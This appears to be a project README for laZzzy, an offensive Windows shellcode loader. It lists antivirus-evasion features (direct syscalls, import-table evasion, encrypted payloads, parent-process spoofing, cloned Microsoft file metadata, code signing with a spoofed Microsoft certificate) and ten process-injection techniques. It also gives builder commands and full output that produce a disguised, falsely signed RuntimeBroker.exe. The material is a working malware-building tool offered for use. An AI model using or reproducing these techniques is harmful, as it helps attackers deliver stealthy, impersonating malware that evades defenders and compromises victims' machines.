laZzzy - Shellcode Loader, Developed Using Different Open-Source Libraries, That Demonstrates Different Execution Techniques

laZzzy is a shellcode loader that demonstrates different execution techniques commonly employed by malware. laZzzy was developed using different open-source header-only libraries.


  • Direct syscalls and native (Nt*) functions (not all functions but most)
  • Import Address Table (IAT) evasion
  • Encrypted payload (XOR and AES)
    • Randomly generated key
    • Automatic padding (if necessary) of payload with NOPS (\x90)
    • Byte-by-byte in-memory decryption of payload
  • XOR-encrypted strings
  • PPID spoofing
  • Blocking of non-Microsoft-signed DLLs
  • (Optional) Cloning of PE icon and attributes
  • (Optional) Code signing with spoofed cert

How to Use


  • Windows machine w/ Visual Studio and the following components, which can be installed from Visual Studio Installer > Individual Components:

    • C++ Clang Compiler for Windows and C++ Clang-cl for build tools

    • ClickOnce Publishing

  • Python3 and the required modules:

    • python3 -m pip install -r requirements.txt


(venv) PS C:\MalDev\laZzzy> python3 .\builder.py -h⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣤⠀⢀⣼⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⢀⣀⣀⡀⠀⠀⠀⢀⣀⣀⣀⣀⣀⡀⠀⢀⣼⡿⠁⠀⠛⠛⠒⠒⢀⣀⡀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⣰⣾⠟⠋⠙⢻⣿⠀⠀⠛⠛⢛⣿⣿⠏⠀⣠⣿⣯⣤⣤⠄⠀⠀⠀⠀⠈⢿⣷⡀⠀⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⣿⣯ ⠀⠀⢸⣿⠀⠀⠀⣠⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣧⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠙⠿⣷⣦⣴⢿⣿⠄⢀⣾⣿⣿⣶⣶⣶⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀   ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀by: CaptMeelo⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀usage: builder.py [-h] -s  -p  -m  [-tp] [-sp] [-pp] [-b] [-d]options:  -h, --help  show this help message and exit  -s          path to raw shellcode  -p          password  -m          shellcode execution method (e.g. 1)  -tp         process to inject (e.g. svchost.exe)  -sp         process to spawn (e.g. C:\\Windows\\System32\\RuntimeBroker.exe)  -pp         parent process to spoof (e.g. explorer.exe)  -b             binary to spoof metadata (e.g. C:\\Windows\\System32\\RuntimeBroker.exe)  -d          domain to spoof (e.g. www.microsoft.com)shellcode execution method:   1          Early-bird APC Queue (requires sacrificial proces)   2          Thread Hijacking (requires sacrificial proces)   3          KernelCallbackTable (requires sacrificial process that has GUI)   4          Section View Mapping   5          Thread Suspension   6          LineDDA Callback   7          EnumSystemGeoID Callback   8          FLS Callback   9          SetTimer   10         Clipboard


Execute builder.py and supply the necessary data.

(venv) PS C:\MalDev\laZzzy> python3 .\builder.py -s .\calc.bin -p CaptMeelo -m 1 -pp explorer.exe -sp C:\\Windows\\System32\\notepad.exe -d www.microsoft.com -b C:\\Windows\\System32\\mmc.exe⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣤⠀⢀     ⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⢀⣀⣀⡀⠀⠀⠀⢀⣀⣀⣀⣀⣀⡀⠀⢀⣼⡿⠁⠀⠛⠛⠒⠒⢀⣀⡀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⣰⣾⠟⠋⠙⢻⣿⠀⠀⠛⠛⢛⣿⣿⠏⠀⣠⣿⣯⣤⣤⠄⠀⠀⠀⠀⠈⢿⣷⡀⠀⣰⣿⠃ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⣿⣯⠀⠀⠀⢸⣿⠀⠀⠀⣠⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣧⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠙⠿⣷⣦⣴⢿⣿⠄⢀⣾⣿⣿⣶⣶⣶⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀by: CaptMeelo⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀[+] XOR-encrypting payload with        [*] Key:                        d3b666606468293dfa21ce2ff25e86f6[+] AES-encrypting payload with        [*] IV:                         f96312f17a1a9919c74b633c5f861fe5        [*] Key:                           6c9656ed1bc50e1d5d4033479e742b4b8b2a9b2fc81fc081fc649e3fb4424fec[+] Modifying template using        [*] Technique:                  Early-bird APC Queue        [*] Process to inject:          None        [*] Process to spawn:           C:\\Windows\\System32\\RuntimeBroker.exe        [*] Parent process to spoof:    svchost.exe[+] Spoofing metadata        [*] Binary:                     C:\\Windows\\System32\\RuntimeBroker.exe        [*] CompanyName:                Microsoft Corporation        [*] FileDescription:            Runtime Broker        [*] FileVersion:                10.0.22621.608 (WinBuild.160101.0800)        [*] InternalName:               RuntimeBroker.exe        [*] LegalCopyright:             © Microsoft Corporation. All rights reserved.        [*] OriginalFilename:           RuntimeBroker.exe        [*] ProductName:                Microsoft® Windows® Operating System        [*] ProductVersion:             10.0.22621.608[+] Compiling project        [*] Compiled executable:        C:\MalDev\laZzzy\loader\x64\Release\laZzzy.exe[+] Signing binary with spoofed cert        [*] Domain:                     www.microsoft.com        [*] Version:                    2        [*] Serial:                     33:00:59:f8:b6:da:86:89:70:6f:fa:1b:d9:00:00:00:59:f8:b6        [*] Subject:                    /C=US/ST=WA/L=Redmond/O=Microsoft Corporation/CN=www.microsoft.com        [*] Issuer:                     /C=US/O=Microsoft Corporation/CN=Microsoft Azure TLS Issuing CA 06        [*] Not Before:                 October 04 2022        [*] Not After:                  September 29 2023        [*] PFX file:                   C:\MalDev\laZzzy\output\www.microsoft.com.pfx[+] All done!        [*] Output file:                C:\MalDev\laZzzy\output\RuntimeBroker.exe

Libraries Used

Shellcode Execution Techniques

  1. Early-bird APC Queue (requires sacrificial process)
  2. Thread Hijacking (requires sacrificial process)
  3. KernelCallbackTable (requires sacrificial process that has a GUI)
  4. Section View Mapping
  5. Thread Suspension
  6. LineDDA Callback
  7. EnumSystemGeoID Callback
  8. Fiber Local Storage (FLS) Callback
  9. SetTimer
  10. Clipboard


  • Only works on Windows x64
  • Debugging only works on Release mode
  • Sometimes, KernelCallbackTable doesn't work on the first run but will eventually work afterward


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